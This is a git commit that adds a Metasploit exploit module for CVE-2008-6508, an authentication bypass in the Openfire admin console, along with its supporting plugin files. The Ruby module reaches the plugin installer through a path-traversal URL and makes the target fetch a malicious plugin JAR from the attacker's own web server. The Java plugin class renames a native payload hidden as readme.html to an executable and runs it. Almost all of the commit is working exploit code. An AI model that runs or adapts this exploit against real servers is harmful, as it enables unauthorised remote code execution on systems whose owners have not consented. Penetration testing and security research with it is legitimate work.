added Exploit for CVE-2008-6508 (Openfire Auth bypass)

unstable
h0ng10 2012-06-24 07:35:38 -04:00
parent 54309c3c3d
commit 65197e79e2
9 changed files with 428 additions and 0 deletions

View File

@ -0,0 +1,4 @@
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.6.4
Created-By: 20.0-b11 (Sun Microsystems Inc.)

View File

@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

View File

@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>0.0.1</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>

View File

@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>

View File

@ -0,0 +1,55 @@
package com.example.openfire.plugin;
import java.io.*;
import java.util.TimerTask;
import org.jivesoftware.util.JiveGlobals;
import org.jivesoftware.openfire.container.Plugin;
import org.jivesoftware.openfire.container.PluginManager;
import org.jivesoftware.util.JiveGlobals;
import org.jivesoftware.util.Log;
import org.jivesoftware.util.TaskEngine;
public class Example implements Plugin {
private static final String OS_NAME = System.getProperty("os.name").toLowerCase();
private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_AIX = "aix".equals(OS_NAME);
private static final boolean IS_DOS = PATH_SEP.equals(";");
private static final String JAVA_HOME = System.getProperty("java.home");
private static final String CURRENT_DIR = System.getProperty("user.dir");
public void initializePlugin(PluginManager manager, File pluginDirectory) {
try{
// Try to rename the existing file, according
String readmeFile = pluginDirectory.getCanonicalPath().toString() + "/" + "readme.html";
String exeFile = pluginDirectory.getCanonicalPath().toString() + "/" + pluginDirectory.getName();
if (IS_DOS)
{
exeFile += ".exe";
}
File file = new File(readmeFile);
File file2 = new File(exeFile);
file.renameTo(file2);
if (!IS_DOS) {
file2.setExecutable(true);
}
Runtime.getRuntime().exec(new String[] { exeFile });
}
catch (Exception ex)
{
Log.error("error", ex);
}
}
public void destroyPlugin() {
}
}

View File

@ -0,0 +1,221 @@
##
require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Openfire Admin Console Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the administration
console of Openfire servers. By using this vulnerability it is possible to
upload/execute a malicious Openfire plugin on the server.
As a direct plugin upload is not possible, a temporary HTTP server is created to serve a
JAR archive with our payload/payload. This method will only work if the target server
allows outbound connections to us.
Because of the file/format restrictions for Openfire plugins, it is not possible to deploy
a Java payload, instead the native payload is stored in the changelog.html which will be
renamed/executed by the plugin.
This module was tested against Openfire 3.6.0a
},
'Author' => [ 'h0ng10', # Vulnerability discovery
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 14774 $',
'References' =>
[
[ 'CVE', '2008-6508' ],
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ],
],
'DisclosureDate' => 'Nov 10 2008',
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# Platform specific targets only
#
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
]
]
))
register_options(
[
Opt::RPORT(9090),
OptString.new('PATH', [ false, 'Path to the Openfire admin frontend', '/' ]),
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)', nil ]),
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)', nil ]),
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)', nil ]),
OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
], self.class)
end
def check
path = datastore['PATH'] + 'login.jsp'
res = send_request_raw(
{
'uri' => path
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
if versioncheck.nil? then
print_error("Unable to detect Openfire version")
return Exploit::CheckCode::Unknown
end
print_status("Detected version: #{$1}.#{$2}.#{$3}")
version = "#{$1}#{$2}#{$3}".to_i
return Exploit::CheckCode::Save if version > 360
# Just to be sure, try to access the log page
path = datastore['PATH'] + 'setup/setup-/../../log.jsp'
res = send_request_raw(
{
'uri' => path
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
Exploit::CheckCode::Vulnerable
end
def get_plugin_jar(plugin_name)
files = [
[ "logo_large.gif" ],
[ "logo_small.gif" ],
[ "changelog.html" ],
[ "lib", "plugin-metasploit.jar.pack" ]
]
jar = Rex::Zip::Jar.new
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
jar.add_file("plugin.xml", plugin_xml)
jar
end
# Handle incoming requests from the server, send the generated plugin
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @plugin_jar)
print_error("A request came in, but the plugin WAR archive wasn't ready yet!")
return
end
print_status("Sending the plugin archive to the server...")
send_response(cli, @plugin_jar)
end
def exploit
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
plugin = get_plugin_jar(plugin_name)
arch = target.arch
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
exe = generate_payload_exe(
{
:code => p.encoded,
:arch => arch,
:platform => plat
})
plugin.add_file("readme.html", exe)
plugin.build_manifest
# Provide the generated plugin jar to the web server
@plugin_jar = plugin
# Send call to download the plugin from our server
print_status("Sending call to download the plugin")
resource_uri = '/' + plugin_name + '.jar'
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req| on_request_uri(cli, req)},
'Path' => resource_uri
}})
if (datastore['WARHOST'])
service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri
end
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'setup/setup-/../../dwr/exec/downloader.installPlugin.dwr',
'vars_post' => {
'callCount' => "1",
'c0-scriptName' => 'downloader',
'c0-methodName' => 'installPlugin',
'c0-id' => "#{rand_text_numeric(4)}_#{rand_text_numeric(13)}",
'c0-param0' => "string:#{service_url}",
'c0-param1' => "string:#{rand_text_numeric(7) }",
'xml' => 'true',
}
},5)
if (! res)
raise RuntimeError, "Unable to upload plugin file [No Response]"
end
# Sometimes the server needs some time to deploy the plugin, so we wait...
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler
end
end
end